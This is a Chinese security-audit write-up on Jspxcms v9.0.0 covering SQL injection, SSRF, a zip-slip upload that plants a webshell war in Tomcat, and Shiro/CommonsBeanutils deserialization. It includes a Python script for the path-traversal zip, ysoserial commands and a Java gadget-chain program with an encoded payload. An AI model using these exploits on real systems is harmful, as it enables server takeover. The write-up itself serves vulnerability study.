简介
Jspxcms是灵活的、易扩展的开源网站内容管理系统(java cms,jsp cms),支持多组织、多站点、独立管理的网站群。
jspxcms v9.0.0的存在SQL注入、文件上传、SSRF、Shiro反序列化等漏洞
环境部署
源码下载路径:下载源码:https://gitee.com/jspxcms/Jspxcms/tree/v9.0.0/
更换MySQL5为MySQL8(根据自己情况,我之前用的MySQL8):
https://www.ujcms.com/documentation/487.html
访问http://localhost:8080/cmscp/,登录后台,用户名admin,密码为空:
SQL注入
根据pom.xml文件可知,这套CMS使用了Hibernate
作为数据持久化框架:
在未正确使用Hibernate框架的情况下会产生SQL注入漏洞,可以通过全局搜素“query
”快速寻找可能存在的漏洞点。
在Hibernate中,如果使用了占位符(问号?的形式)的方式构造SQL语句,基本可以避免SQL注入:
找了一些没找到sql注入
文件上传
这个漏洞在文件管理的压缩包上传功能,上传的压缩包会被自动解压,如果我们在压缩包中放入 war 包并配合解压后目录穿越 war 包就会被移动到 tomcat 的 webapps 目录,而 tomcat 会自动解压 war 包。
注意:这里测试需要启动 tomcat 做测试,而不是 IDEA 的 SpringBoot,否则可能无法成功。
将jsp打包为war包:
1
|
java -cf shell.war .\shell.jsp
|
然后将 war 包打包成压缩文件:
1
2
3
4
5
6
7
8
9
10
11
|
import zipfile
zip = zipfile.ZipFile('test.zip','w',zipfile.ZIP_DEFLATED)
with open('shell.war', 'rb') as f:
data = f.read()
# 加入目录穿越操作,上传目录为src/main/webapp/uploads/users/1,这里因为要穿到webapp目录下,所以穿两层。
# 如果是黑盒审计的话,穿越层数只能遍历尝试了
zip.writestr('../../shell.war',data)
zip.close()
|
这里有个jdk版本的小坑,冰蝎jsp的webshell里用到的base64解密操作适用于jdk1.8及以前,
如果jdk是以后的,得改下jsp websell里的base64操作,不然访问会报500错误。参考https://blog.csdn.net/u010250240/article/details/89945871:
分析漏洞产生的原因,抓取文件上传的请求包:
搜索zip_upload.do
跟进zipUpload(),发现一个解压函数AntZipUtils.unzip():
继续跟进:
可以看到文件名name没有做任何处理就赋给File文件对象,接着执行到fos.write时shell.war就可以被写入到指定路径了,比如Tomcat的webapp目录。
为什么不直接上传 jsp 文件 getshell 呢?这里借用其他师傅们分析的结论:
试一下,发现响应 404 文件不存在,并且文件路径前加了 /jsp。
通过调试发现 JspDispatcherFilter.java 会对访问的 jsp 文件路径前加 /jsp,这就是不直接上传 jsp 文件 getshell的原因。而我们使用压缩包的方式会将 shell.war 解压到 tomcat 的 webapps 目录,这相当于一个新的网站项目JspDispatcherFilter.java 是管不着的。
SSRF
全局搜索关键字
1
搜索openConnection
优先选择controller层的类,因为可能存在前端参数可控的情况
可以看到有个controller层的类
在src/main/java/com/jspxcms/core/web/back/UploadControllerAbstract.java#ueditorCatchImage()
方法下。参数source[]
可控,当执行到conn.getContentType().indexOf(“image”)
时就会去请求相应的资源:
ctrl+单击方法名,搜索调用ueditorCatchImage()方法的位置,可以看到访问路径为/ueditor,action参数需要等于catchimage:
构造payload触发漏洞,成功触发SSRF:
2
直接IDEA搜索敏感函数,找到一处使用了HttpClient.execute()
的方法fetchHtml(),它被当前类的另一个fetchHtml()调用:
ctrl+单击方法名,找到调用fetchHtml()的方法,发现有四处都在controller中:
但是仅有一处可控前端参数url:
验证:
Shiro反序列化
在审计第三方组件的漏洞时,首先需要翻阅pom.xml文件,该文件中记录着这个项目使用的第三方组件及其版本号。
我们可以对所使用的Jspxcms的第三方组件的版本进行版本比对,以判断该版本是否受到已知漏洞的影响。
我们以第三方组件shiro
为例,查看pom文件,发现使用了shiro框架,且版本为1.3.2(Shiro 并且版本小于 1.4.2)可以利用 Shiro-721
可以看到Commons-beanutils
依赖,版本是1.9.3
ysoserial中的Commons-beanutils利用链不仅需要Commons-beanutils
,同时还需要 commons-collections
以及 commons-logging,
也就是说需要目标中同时存在这3个第三方库的依赖,这条利用链才有效,Jspxcms正好具备这个条件。
先测试一下是否可用:
1
2
3
|
java -jar ysoserial-all.jar CommonsBeanutils1 "open -a Calculator" > /Users/xps/Study/MyCode/JavaCode/JavaSec/Jspxcms-v9.0.0/ser.txt
java -jar ysoserial.jar CommonsBeanutils1 "open -a Calculator" |base64
|
输出的字符串放到下面p牛的代码中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
package com.jspxcms.core.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyODY1Mjc0ODEwOTU5NTgBAB9MeXNvc2VyaWFsL1B3bmVyODY1Mjc0ODEwOTU5NTg7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add("x");
queue.add("x");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("src\\main\\java\\com\\jspxcms\\core\\test\\ser.txt"));
out.writeObject(queue);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("src\\main\\java\\com\\jspxcms\\core\\test\\ser.txt"));
in.readObject();
in.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
|
我一直弹不出来测试失败,还不知道怎么回事。
使用 https://github.com/inspiringz/Shiro-721 进行测试。
爆破出可以攻击的 rememberMe Cookie 大概需要一个多小时,如下界面所示(借师傅的图:https://xz.aliyun.com/t/10891)
进行测试成功弹出计算器,反序列化 RCE 利用成功(借图)